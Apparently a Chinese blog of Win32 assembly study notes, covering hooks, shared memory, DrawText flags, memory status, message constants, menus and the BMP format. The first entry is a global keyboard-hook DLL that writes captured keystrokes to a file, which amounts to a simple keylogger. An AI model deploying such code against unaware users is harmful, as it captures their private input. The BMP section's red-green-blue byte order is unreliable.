一个有问题的键盘hook

昨天写了一个键盘钩子,,不知道为什么总是无法写入到指定文件,经过测试发现ToAscii后eax总是为0,郁闷ing。。。

代码如下:

.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
.data
hInstance    dd    ?
.data?
hHook    dd    ?
hFile    dd    ?
szAscii        db    4 dup (?)
lpNumWritten    dd    ?
.const
szFileName    db    ’1.txt’,0
.code
DllEntry proc _hInstance,_dwReason,_dwReserved

push _hInstance
pop hInstance
mov eax,_dwReason
.if eax==DLL_PROCESS_ATTACH
invoke CreateFile,offset szFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,0
.if eax
mov hFile,eax
mov eax,TRUE
ret
.endif
.elseif eax==DLL_PROCESS_DETACH
invoke CloseHandle,hFile
mov eax,TRUE
ret
.else
mov eax,TRUE
ret
.endif
ret
DllEntry endp
ProcHook proc _dwCode,_wParam,_lParam
LOCAL @szKeyBoardState[256]:byte
mov eax,_lParam
shr eax,31
.if eax
invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam
invoke GetKeyboardState,addr @szKeyBoardState
invoke GetKeyState,VK_SHIFT
mov @szKeyBoardState+VK_SHIFT,al
mov ecx,_lParam
shr ecx,16
invoke ToAscii,_wParam,ecx,addr @szKeyBoardState,addr szAscii,0
mov byte ptr szAscii [eax],0
invoke WriteFile,hFile,addr szAscii,sizeof szAscii,offset lpNumWritten,0
.endif
ret

ProcHook endp
InstallHook proc

invoke SetWindowsHookEx,WH_KEYBOARD,offset ProcHook,hInstance,0
mov hHook,eax
ret

InstallHook endp
UninstallHook proc

invoke UnhookWindowsHookEx,hHook
ret

UninstallHook endp
end DllEntry

进程间共享数据

使用内存映射文件实现进程间数据共享的练习:

.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include comdlg32.inc
includelib kernel32.lib
includelib user32.lib
;;;;;;;;;;;;;;;;;;;;;;;
IDD_DIALOG1           equ                  100
IDC_EDIT1             equ                  1002
IDC_STATIC1              equ                1003
;;;;;;;;;;;;;;;;;;;;;;;
.data
.data?
hInstance    dd    ?
hWinMain    dd    ?
hFileMap    dd    ?
lpMemory    dd    ?
szFileName    db    MAX_PATH dup (?)
.const
szMName    db    ’share’,0
.code
_CreateM proc
invoke OpenFileMapping,FILE_MAP_READ or FILE_MAP_WRITE,0,addr szMName
.if !eax
invoke CreateFileMapping,-1,NULL,PAGE_READWRITE,0,4096,addr szMName
.if ! eax
jmp @F
.endif
.endif
mov hFileMap,eax
invoke MapViewOfFile,eax,FILE_MAP_READ OR FILE_MAP_WRITE,0,0,0
.if eax
mov lpMemory,eax
mov dword ptr [eax],0
ret
.endif
invoke CloseHandle,hFileMap
@@:
invoke EndDialog,hWinMain,NULL
ret
_CreateM endp
_CloseM proc
invoke UnmapViewOfFile,lpMemory
invoke CloseHandle,hFileMap
mov lpMemory,0
mov hFileMap,0
ret
_CloseM endp
_ProcDlgMain proc uses ebx esi edi hWnd,uMsg,wParam,lParam
local @szBuffer[4096]:byte
mov eax,uMsg
.if eax==WM_TIMER
invoke SetDlgItemText,hWnd,IDC_STATIC1,lpMemory
.elseif eax==WM_CLOSE
invoke KillTimer,hWnd,1
invoke _CloseM
invoke EndDialog,hWnd,NULL
.elseif eax==WM_INITDIALOG
push hWnd
pop hWinMain
invoke _CreateM
invoke SetTimer,hWnd,1,200,NULL
.elseif eax==WM_COMMAND
mov eax,wParam
movzx eax,ax
.if eax== IDC_EDIT1
invoke GetDlgItemText,hWnd,eax,lpMemory,4096
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,IDD_DIALOG1,NULL,offset _ProcDlgMain,NULL
invoke ExitProcess,NULL
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
end start

DrawText的最后一个参数uFormat的取值

最后还是决定先学GDI和通用对话框部分。。。。。

uFormat:   [输入]指定格式化文本的方法。它可以下列值的任意组合,各值描述如下:

说明
DT_BOTTOM 将正文调整到矩形底部。此值必须和DT_SINGLELINE组合。
DT_CALCRECT 决定矩形的宽和高。
如果正文有多行,DrawText使用lpRect定义的矩形的宽度,并扩展矩形的底部以容纳正文的最后一行。
如果正文只有一行,则DrawText改变矩形的右边界,以容纳下正文行的最后一个字符。
出现上述任何一种情况,DrawText返回格式化正文的高度,而不是绘制正文。
DT_CENTER 使正文在矩形中水平居中。
DT_EDITCONTROL 复制多行编辑控制的正文显示特性。
特殊地,为编辑控制的平均字符宽度是以同样的方法计算的,此函数不显示只是部分可见的最后一行。
DT_END_ELLIPSIS 对于显示的文本,如果结束的字符串的范围不在矩形内,它会被截断并以省略号标识。
如果一个字母不是在字符串的末尾处超出了矩形范围,它不会被截断并以省略号标识。
字符串不会被修改,除非指定了DT_MODIFYSTRING标志。
DT_EXPANDTABS 扩展制表符,每个制表符的缺省字符数是8。
DT_WORD_ELLIPSIS, DT_PATH_ELLIPSIS和DT_END_ELLIPSIS不能和此参数一起使用
DT_EXTERNALLEADING 在行的高度里包含字体的外部标头,通常,外部标头不被包含在正文行的高度里。
DT_HIDEPREFIX 忽略正文中的前缀字符(&),并且前缀字符后面的字母不会出现下划线。其它前缀字符的调用方式不受影响。
输入的字符串: “A&bc&&d”
正常: “Abc&d”
DT_HIDEPREFIX: “Abc&d”
DT_INTERNAL 用系统字体来计算正文度量。
DT_LEFT 正文左对齐。
DT_MODIFYSTRING 修改给定的字符串来匹配显示的正文。
此标志必须和DT_END_ELLIPSIS 或 DT_PATH_ELLIPSIS同时使用。
DT_NOCLIP 无裁剪绘制。当DT_NOCLIP使用时DrawText的使用会有所加快。
DT_NOFULLWIDTHCHARBREAK 在宽字符的字符串中防止行断开,因此折行规则相当于单字符的字符串。
例如,我们可以用在棒子版的windows中,为图标标签提供更好的可读性。
除非指定DT_WORDBREAK,否则此值没有作用。
DT_NOPREFIX 关闭前缀字符的处理。
通常DrawText解释助记前缀字符,&为给其后的字符加下划线,解释&&为显示单个&。指定DT_NOPREFIX,这种处理被关闭。
DT_PATH_ELLIPSIS 对于显示的正文,替换字符串在椭圆中的字符,以确保结果能在合适的矩形内。
如果该字符串包含反斜杠()字符,DT_PATH_ELLIPSIS尽可能的保留最后一个反斜杠之后的正文。
字符串不会被修改,除非指定了DT_MODIFYSTRING标志。
DT_PREFIXONLY 仅仅在(&)前缀字符的位置下绘制一个下划线。不绘制字符串中的任何其他字符。
输入的字符串: “A&bc&&d”
正常: “Abc&d”
DT_PREFIXONLY:” _ “
DT_RIGHT 正文右对齐。
DT_RTLREADING 当选择进设备环境的字体是希伯来文或阿拉伯文字体时,为双向正文安排从右到左的阅读顺序都是从左到右的。
DT_SINGLELINE 显示正文的同一行,回车和换行符都不能折行。
DT_TABSTOP 设置制表,参数uFormat的15″C8位(低位字中的高位字节)指定每个制表符的字符数,每个制表符的缺省字符数是8。
注意:DT_CALCRECT, DT_EXTERNALLEADING, DT_INTERNAL,
DT_NOCLIP, DT_NOPREFIX值不能和DT_TABSTOP值一起使用。
DT_TOP 正文顶端对齐。
DT_VCENTER 使正文在矩形中垂直居中。
(DreamSmart注:此值必须和DT_SINGLELINE连用,否则GDI无法计算目的矩形)
DT_WORDBREAK 断开字。当一行中的字符将会延伸到由lpRect指定的矩形的边框时,此行自动地在字之间断开。一个回车一换行也能使行折断。
DT_WORD_ELLIPSIS 截短不符合矩形的正文,并增加省略号。

用GlobalMemoryStatus查看内存信息

吼吼,总算进入内存和文件的章节了,,虽然略过了GDI和通用对话框等等的学习。。

本章第一个练手的程序:

.asm文件:

.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include gdi32.inc
includelib kernel32.lib
includelib user32.lib
includelib gdi32.lib
IDD_DIALOG1           equ                  100
IDC_STATIC              equ                    101
TIMER1                equ                        1
.data
.data?
hInstance    dd    ?
hWinMain    dd    ?
.const
szFormat    db    ’物理内存总数        %lu 字节’,0dh,0ah
db    ’可用物理内存        %lu 字节’,0dh,0ah
db    ’交换文件总大小        %lu 字节’,0dh,0ah
db    ’空闲交换文件大小    %lu 字节’,0dh,0ah
db    ’用户可用地址空间    %lu 字节’,0dh,0ah
db    ’当前空闲地址空间    %lu 字节’,0dh,0ah,0

.code
_ShowMemory    proc
local @stMemoryStatus:MEMORYSTATUS
local @szBuffer[1024]:byte
;pushad
mov @stMemoryStatus.dwLength,sizeof @stMemoryStatus
invoke GlobalMemoryStatus,addr @stMemoryStatus
invoke wsprintf,addr @szBuffer,addr szFormat,
@stMemoryStatus.dwTotalPhys,
@stMemoryStatus.dwAvailPhys,
@stMemoryStatus.dwTotalPageFile,
@stMemoryStatus.dwAvailPageFile,
@stMemoryStatus.dwTotalVirtual,
@stMemoryStatus.dwAvailVirtual
invoke SetDlgItemText,hWinMain,IDC_STATIC,addr @szBuffer
;popad
ret
_ShowMemory endp
_ProcDlgMain proc uses ebx edi esi hWnd,uMsg,wParam,lParam
mov eax,uMsg

.if eax==WM_TIMER
call _ShowMemory
.elseif eax==WM_INITDIALOG
push hWnd
pop hWinMain
invoke SetTimer,hWnd,TIMER1,1000,0
call _ShowMemory
.elseif eax==WM_CLOSE
invoke KillTimer,hWnd,TIMER1
invoke EndDialog,hWnd,NULL
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,IDD_DIALOG1,NULL,offset _ProcDlgMain,NULL
invoke ExitProcess,NULL
end start
rc文件较简单,此处略去。。

第一次nmake的时候出现instruction or register not accept in current CPU mode的奇怪错误,百思不得其解,将代码复制到新文件后编译就通过了,,,

windows消息数值对照

 

WM_NULL = $0000;

WM_CREATE = $0001;
WM_DESTROY = $0002;
WM_MOVE = $0003;
WM_SIZE = $0005;
WM_ACTIVATE = $0006;
WM_SETFOCUS = $0007;
WM_KILLFOCUS = $0008;
WM_ENABLE = $000A;
WM_SETREDRAW = $000B;
WM_SETTEXT = $000C;
WM_GETTEXT = $000D;
WM_GETTEXTLENGTH = $000E;
WM_PAINT = $000F;
WM_CLOSE = $0010;
WM_QUERYENDSESSION = $0011;
WM_QUIT = $0012;
WM_QUERYOPEN = $0013;
WM_ERASEBKGND = $0014;
WM_SYSCOLORCHANGE = $0015;
WM_ENDSESSION = $0016;
WM_SYSTEMERROR = $0017;

 

WM_SHOWWINDOW = $0018;
WM_ACTIVATEAPP = $001C;
WM_FONTCHANGE = $001D;
WM_TIMECHANGE = $001E;
WM_CANCELMODE = $001F;
WM_SETCURSOR = $0020;
WM_MOUSEACTIVATE = $0021;
WM_CHILDACTIVATE = $0022;
WM_QUEUESYNC = $0023;
WM_GETMINMAXINFO = $0024;
WM_PAINTICON = $0026;
WM_ICONERASEBKGND = $0027;
WM_NEXTDLGCTL = $0028;
WM_SPOOLERSTATUS = $002A;
WM_DRAWITEM = $002B;
WM_MEASUREITEM = $002C;
WM_DELETEITEM = $002D;
WM_VKEYTOITEM = $002E;
WM_CHARTOITEM = $002F;
WM_SETFONT = $0030;
WM_GETFONT = $0031;
WM_SETHOTKEY = $0032;

 

WM_GETHOTKEY = $0033;
WM_QUERYDRAGICON = $0037;
WM_COMPAREITEM = $0039;
WM_GETOBJECT = $003D;
WM_COMPACTING = $0041;
WM_WINDOWPOSCHANGING = $0046;
WM_WINDOWPOSCHANGED = $0047;
WM_COPYDATA = $004A;
WM_CANCELJOURNAL = $004B;
WM_NOTIFY = $004E;
WM_INPUTLANGCHANGEREQUEST = $0050;
WM_INPUTLANGCHANGE = $0051;
WM_TCARD = $0052;
WM_HELP = $0053;
WM_USERCHANGED = $0054;;
WM_NOTIFYFORMAT = $0055;
WM_CONTEXTMENU = $007B;
WM_STYLECHANGING = $007C;
WM_STYLECHANGED = $007D;
WM_DISPLAYCHANGE = $007E;
WM_GETICON = $007F;

WM_SETICON = $0080;;

WM_NCCREATE = $0081;
WM_NCDESTROY = $0082;
WM_NCCALCSIZE = $0083;
WM_NCHITTEST = $0084
WM_NCPAINT = $0085;
WM_NCACTIVATE = $0086;
WM_GETDLGCODE = $0087;

更多消息详见msdn。。。

用static控件显示位图

CONTROL    位图id,IDC_XXX,”Static”,SS_BITMAP|WS_CHILD|WS_VISIBLE,5,5,40,95

若不操作该控件,IDC_XXX可设为-1

如要改变位图,可发消息STM_SETIMAGE

wParam为:IMAGE_BITMAP   或 IMAGE_CURSOR 或   IMAGE_ICON

lParam为:位图或图标的句柄

 

CONTROL语句的一般式:

CONTROL   文本,ID,类,风格,x,y,宽度,高度[,扩展风格]

获取和设置窗口标题(子窗口文本)的方式:

GetWindowText

SetWindowText

发送WM_SETTEXT消息,WM_GETTEXT消息

dialog独有:

GetDlgItemText

SetDlgItemText

关于EableWindow和WM_ENABLE消息

WM_ENABLE

The WM_ENABLE message is sent when an application changes the enabled state of a window. It is sent to the window whose enabled state is changing. This message is sent before the EnableWindow function returns, but after the enabled state (WS_DISABLED style bit) of the window has changed.

A window receives this message through its WindowProc function.

LRESULT CALLBACK WindowProc(

  HWND hwnd,       // handle to window

  UINT uMsg,       // WM_ENABLE

  WPARAM wParam,   // enabled state (BOOL)

  LPARAM lParam    // not used

);

Parameters

wParam

Specifies whether the window has been enabled or disabled. This parameter is TRUE if the window has been enabled or FALSE if the window has been disabled.

lParam

This parameter is not used.

Return Values

If an application processes this message, it should return zero.

Requirements

  Windows NT/2000: Requires Windows NT 3.1 or later.
  Windows 95/98: Requires Windows 95 or later.
  Header: Declared in Winuser.h; include Windows.h.

See Also

Windows Overview, Window Messages, EnableWindow

Built on Thursday, October 12, 2000

Requirements

  Windows NT/2000: Requires Windows NT 3.1 or later.
  Windows 95/98: Requires Windows 95 or later.
  Header: Declared in Winuser.h; include Windows.h.

See Also

Windows Overview, Window Messages, EnableWindow

注意点:

1.由上解释可见WM_ENABLE消息是在EnableWindow改变窗口状态之后,函数返回之前被发送

2.wParam为TRUE或FALSE,lParam未使用

写个菜单转换+图标转换练习

menu.asm:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include        windows.inc
include        gdi32.inc
includelib    gdi32.lib
include        user32.inc
includelib    user32.lib
include        kernel32.inc
includelib    kernel32.lib
include        shell32.inc
includelib    shell32.lib
IDM_MAIN    equ    2000h
IDM_OPEN    equ    2101h
IDM_CLOSE    equ    2102h
IDM_EXIT    equ    2103h
IDM_UNDO    equ    2201h
IDM_COPY    equ    2202h
IDM_CUT        equ    2203h
IDM_BIG        equ    2204h
IDM_MID        equ    2205h
IDM_SMALL    equ    2206h
IDM_CHECK1    equ    2207h
IDM_CHECK2    equ    2208h
IDM_CHECK3    equ    2209h
IDM_CHECK4    equ    2210h
IDM_HELP    equ    2301h
IDM_ABOUT    equ    2302h

IDM_MENU        equ    4000h
IDM_BIGVIEW        equ    4101h
IDM_SMALLVIEW    equ    4102h
IDM_ML            equ    4201h
IDM_BUILD        equ    4202h
IDM_SELECT    equ 5000h

IDI_ICO        equ    6000h
IDI_ICO1    equ    6001h
IDI_ICO2    equ 6002h
IDI_ICO3    equ 6003h
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
szBuffer    db        254 dup (?)

.data?
hInstance    dd        ?
hWinMain    dd        ?
hMenu        dd        ?
hRightMenu    dd        ?
hMenu2        dd        ?
hIcon        dd        ?
hIcon1        dd        ?
hIcon2        dd        ?
hIcon3        dd        ?

.const
szClassName    db    ’MyClass’,0
szCaption    db    ’My first Window !’,0
szCopy        db    ’复制’,0
szCut        db    ’剪切’,0
szExit        db    ’退出’,0
szCaptionName    db    ’提示’,0
szFormat    db    ’你选中的菜单项的ID是:%08x’,0
szSelect    db    ’选择副菜单’,0
szBuild        db    ’组建’,0

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 窗口过程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcWinMain    proc    uses ebx edi esi hWnd,uMsg,wParam,lParam
local @stPos:POINT
mov    eax,uMsg
;********************************************************************
.if    eax==WM_CREATE
invoke CreatePopupMenu
mov hRightMenu,eax
invoke AppendMenu,hRightMenu,0,IDM_COPY,addr szCopy
invoke AppendMenu,hRightMenu,0,IDM_CUT,addr szCut
invoke AppendMenu,hRightMenu,MF_SEPARATOR,0,0
invoke AppendMenu,hRightMenu,0,IDM_EXIT,addr szExit
invoke AppendMenu,hRightMenu,MF_SEPARATOR,0,0
invoke AppendMenu,hRightMenu,0,IDM_SELECT,addr szSelect
invoke AppendMenu,hRightMenu,0,IDM_BUILD,addr szBuild
.elseif eax==WM_RBUTTONDOWN
invoke GetCursorPos,addr @stPos
invoke TrackPopupMenu,hRightMenu,TPM_LEFTALIGN,@stPos.x,@stPos.y,0,hWnd,0
;********************************************************************
.elseif    eax ==    WM_CLOSE
invoke    DestroyMenu,hRightMenu
invoke  DestroyMenu,hMenu2
invoke    DestroyWindow,hWinMain
invoke    PostQuitMessage,NULL
;********************************************************************
.elseif eax==WM_COMMAND

mov eax,wParam
.if ax==IDM_EXIT
invoke    DestroyMenu,hRightMenu
invoke  DestroyMenu,hMenu2
invoke DestroyWindow,hWinMain
invoke PostQuitMessage,NULL
ret
.elseif ax>=IDM_BIG && ax<=IDM_SMALL
mov ebx,eax
invoke CheckMenuRadioItem,hMenu,IDM_BIG,IDM_SMALL,eax,MF_BYCOMMAND
.if bx == IDM_BIG
invoke SendMessage,hWnd,WM_SETICON,ICON_SMALL,hIcon1
.elseif bx == IDM_MID
invoke SendMessage,hWnd,WM_SETICON,ICON_SMALL,hIcon2
.else
invoke SendMessage,hWnd,WM_SETICON,ICON_SMALL,hIcon3
.endif
.elseif ax>=IDM_CHECK1 && ax<=IDM_CHECK4
xor ebx,ebx
mov bx,ax
invoke GetMenuState,hMenu,ebx,MF_BYCOMMAND
.if eax & MF_CHECKED
mov eax,MF_UNCHECKED
.else
mov eax,MF_CHECKED
.endif
invoke CheckMenuItem,hMenu,ebx,eax
.elseif ax==IDM_SELECT
xor ebx,ebx
mov bx,ax
invoke GetMenuState,hRightMenu,ebx,MF_BYCOMMAND
.if eax & MF_CHECKED
invoke SetMenu,hWinMain,hMenu
mov eax,MF_UNCHECKED
.else
invoke SetMenu,hWinMain,hMenu2
mov eax,MF_CHECKED
.endif
invoke CheckMenuItem,hRightMenu,ebx,eax
.endif
invoke wsprintf,addr szBuffer,addr szFormat,wParam
invoke MessageBox,hWinMain,addr szBuffer,addr szCaptionName,MB_OK
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
;********************************************************************
xor    eax,eax
ret

_ProcWinMain    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WinMain    proc
local    @stWndClass:WNDCLASSEX
local    @stMsg:MSG

invoke    GetModuleHandle,NULL
mov    hInstance,eax
invoke LoadMenu,hInstance,IDM_MAIN
mov hMenu,eax
invoke LoadMenu,hInstance,IDM_MENU
mov hMenu2,eax
invoke LoadIcon,hInstance,IDI_ICO
mov hIcon,eax
invoke LoadIcon,hInstance,IDI_ICO1
mov hIcon1,eax
invoke LoadIcon,hInstance,IDI_ICO2
mov hIcon2,eax
invoke LoadIcon,hInstance,IDI_ICO3
mov hIcon3,eax
invoke    RtlZeroMemory,addr @stWndClass,sizeof @stWndClass
;********************************************************************
; 注册窗口类
;********************************************************************
invoke    LoadCursor,0,IDC_ARROW
mov    @stWndClass.hCursor,eax
push    hInstance
pop    @stWndClass.hInstance
push hIcon
pop @stWndClass.hIcon
mov    @stWndClass.cbSize,sizeof WNDCLASSEX
mov    @stWndClass.style,CS_HREDRAW  or CS_VREDRAW
mov    @stWndClass.lpfnWndProc,offset _ProcWinMain
mov    @stWndClass.hbrBackground,COLOR_WINDOW + 1
mov    @stWndClass.lpszClassName,offset szClassName
invoke    RegisterClassEx,addr @stWndClass
;********************************************************************
; 建立并显示窗口
;********************************************************************
invoke CreateWindowEx,WS_EX_CLIENTEDGE,offset szClassName,offset szCaption,
WS_OVERLAPPEDWINDOW,
100,100,600,400,
NULL,hMenu,hInstance,NULL
mov    hWinMain,eax
invoke    ShowWindow,hWinMain,SW_SHOWNORMAL
invoke    UpdateWindow,hWinMain
;********************************************************************
; 消息循环
;********************************************************************
.while    TRUE
invoke    GetMessage,addr @stMsg,NULL,0,0
.break    .if eax    == 0
invoke    TranslateMessage,addr @stMsg
invoke    DispatchMessage,addr @stMsg
.endw
ret

_WinMain    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
call    _WinMain
invoke    ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end    start

 

 

menu.rc:

#include<resource.h>
#define IDM_MAIN    0×2000
#define IDM_OPEN    0×2101
#define IDM_CLOSE    0×2102
#define IDM_EXIT    0×2103
#define IDM_UNDO    0×2201
#define IDM_COPY    0×2202
#define IDM_CUT        0×2203
#define IDM_BIG        0×2204
#define IDM_MID        0×2205
#define IDM_SMALL    0×2206
#define IDM_CHECK1    0×2207
#define IDM_CHECK2    0×2208
#define IDM_CHECK3    0×2209
#define IDM_CHECK4    0×2210
#define IDM_HELP    0×2301
#define IDM_ABOUT    0×2302

#define IDM_MENU            0×4000
#define IDM_BIGVIEW            0×4101
#define IDM_SMALLVIEW        0×4102
#define IDM_ML                0×4201
#define IDM_BUILD            0×4202
#define IDI_ICO        0×6000
#define IDI_ICO1    0×6001
#define IDI_ICO2    0×6002
#define IDI_ICO3    0×6003
IDI_ICO        ICON DISCARDABLE “main.ico”
IDI_ICO1    ICON DISCARDABLE “1.ico”
IDI_ICO2    ICON DISCARDABLE “2.ico”
IDI_ICO3    ICON DISCARDABLE “3.ico”
IDM_MAIN MENU discardable
{
POPUP “新建”
{
MENUITEM “打开(N)”,IDM_OPEN
MENUITEM “关闭(C)”,IDM_CLOSE
MENUITEM SEPARATOR
MENUITEM “退出(Q)”,IDM_EXIT
}
POPUP “编辑”
{
MENUITEM “撤销”,IDM_UNDO,INACTIVE
MENUITEM “复制”,IDM_COPY,GRAYED
MENUITEM “剪切”,IDM_CUT
MENUITEM “大图标”,IDM_BIG
MENUITEM “中图标”,IDM_MID
MENUITEM “小图标”,IDM_SMALL
MENUITEM “选中1″,IDM_CHECK1
MENUITEM “选中2″,IDM_CHECK2
MENUITEM “选中3″,IDM_CHECK3
MENUITEM “选中4″,IDM_CHECK4
}
POPUP “帮助”,HELP
{
MENUITEM “帮助选项”,IDM_HELP
MENUITEM “关于”,IDM_ABOUT
}
}
IDM_MENU    MENU    DISCARDABLE
{
POPUP    ”视图”
{
MENUITEM “大图”,IDM_BIGVIEW
MENUITEM “小图”,IDM_SMALLVIEW

}
POPUP    ”工程”
{
MENUITEM “编译”,IDM_ML
MENUITEM SEPARATOR
MENUITEM “组建”,IDM_BUILD
}
}

24位位图存放格式说明

4位位图存放格式说明

简要说明:

BMP是一种与硬件设备无关的图像文件格式,使用非常广。它采用位映射存储格式,除了图像深度可选以外,不采用其他任何压缩,因此,BMP文件所占用的空间很大。BMP文件的图像深度可选lbit、4bit、8bit及24bit(我们这里使用24bit)。由于BMP文件格式是Windows环境中交换与图有关的数据的一种标准,因此在Windows环境中运行的图形图像软件都支持BMP图像格式。

 

1.    24位位图结构定义

1.1  文件头结构定义

typedef struct tagBITMAPFILEHEADER{

WORD bfType; // 位图文件的类型,必须为BM(1-2字节)

DWORD bfSize; // 位图文件的大小,以字节为单位(3-6字节)

WORD bfReserved1; // 位图文件保留字,必须为0(7-8字节)

WORD bfReserved2; // 位图文件保留字,必须为0(9-10字节)

DWORD bfOffBits; // 位图数据的起始位置,以相对于位图(11-14字节)

// 文件头的偏移量表示,以字节为单位

} BITMAPFILEHEADER;

 

1.2  位图信息头结构定义

BMP位图信息头数据用于说明位图的尺寸等信息。

typedef struct tagBITMAPINFOHEADER{

DWORD biSize; // 本结构所占用字节数(15-18字节)

LONG biWidth; // 位图的宽度,以像素为单位(19-22字节)

LONG biHeight; // 位图的高度,以像素为单位(23-26字节)

WORD biPlanes; // 目标设备的级别,必须为1(27-28字节)

WORD biBitCount;// 每个像素所需的位数,必须是1(双色),(29-30字节) // 4(16色),8(256色)或24(真彩色)之一

DWORD biCompression; // 位图压缩类型,必须是 0(不压缩),(31-34字节) // 1(BI_RLE8压缩类型)或2(BI_RLE4压缩类型)之一

DWORD biSizeImage; // 位图的大小,以字节为单位(35-38字节)

LONG biXPelsPerMeter; // 位图水平分辨率,每米像素数(39-42字节)

LONG biYPelsPerMeter; // 位图垂直分辨率,每米像素数(43-46字节)

DWORD biClrUsed;// 位图实际使用的颜色表中的颜色数(47-50字节)

DWORD biClrImportant;// 位图显示过程中重要的颜色数(51-54字节)

} BITMAPINFOHEADER;

 

1.3  位图数据阵列

位图数据记录了位图的每一个像素值,记录顺序是在扫描行内是从左到右,扫描行之间是从下到上。位图的一个像素值所占3个字节

 

2.    举例说明

从一个24位图的图片里,读出如下信息:

424D B634 1800 0000 0000 3600 0000 2800 0000 3003 0000 8802 0000 0100 1800 0000 0000 8034 1800 C40E 0000 C40E 0000 0000 0000 0000 0000 B48D 61B3 8C60

24位BMP图可分为3个部分:位图文件头、位图信息、位图阵列

2.1     文件头(14个字节)

字节 字节号

解释说明

424D 1-2 可以转换为字符‘B’、‘M’,是用于识别BMP文件的标志
B634 1800 3-6 存放的是位图文件的大小,计算得文件大小为1586358字节
0000 0000 7-10 保留字节,必须为0
3600 0000 11-14 表示位图阵列相对于文件头的偏移量,计算得54,即位图阵列从第55字节开始

2.2  位图信息(40个字节)

字节 字节号

解释说明

2800 0000 15-18 位图信息头占用的字节数,把0028转换10进制为40,即占用了40节
3003 0000 19-22 位图的宽度,以像素为单位,计算得位图的宽度为816像素
8802 0000 23-26 位图的高度,也以像素为单位,计算得位图的高度为648像素
0100 27-28 位图的平面数,必须为1
1800 29-30 代表每个像素所需要的位数,很显然我们做的是24为位图,结果为24
0000 0000 31-34 代表位图压缩类型,如果不压缩必须为0
8034 1800 35-38 位图阵列的大小,以字节为大小,计算得1586304字节
C40E 0000 39-42 位图水平分辨率
C40E 0000 43-46 位图垂直分辨率
0000 0000 47-50 位图实际使用的颜色表中的颜色数,24位不需要调色板所以设置为0
0000 0000 51-54 位图显示过程中重要的颜色数,为0表示都重要

 

2.3  位图数据阵列

从第55字节开始,每3个字节表示一个像素,这3个字节依次表示该像素的红、绿、蓝亮度分量值。